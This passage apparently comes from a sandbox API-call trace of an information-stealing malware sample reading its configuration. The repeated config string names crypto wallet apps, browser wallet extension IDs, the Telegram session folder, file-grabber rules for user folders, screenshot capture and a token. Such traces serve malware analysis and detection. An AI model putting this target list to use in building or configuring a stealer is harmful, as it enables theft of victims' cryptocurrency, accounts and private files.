Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3982 [0259.771] LocalAlloc (uFlags=0x40, uBytes=0x1f9c) returned 0x6ef5a0 [0259.772] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.773] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.773] StrStrW (lpFirst="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.773] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.773] LocalFree (hMem=0x6b9720) returned 0x0 [0259.774] LocalFree (hMem=0x6bb648) returned 0x0 [0259.774] LocalFree (hMem=0x6bd570) returned 0x0 [0259.775] StrStrW (lpFirst="wlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.775] lstrlenW (lpString="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3931 [0259.775] lstrlenW (lpString="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 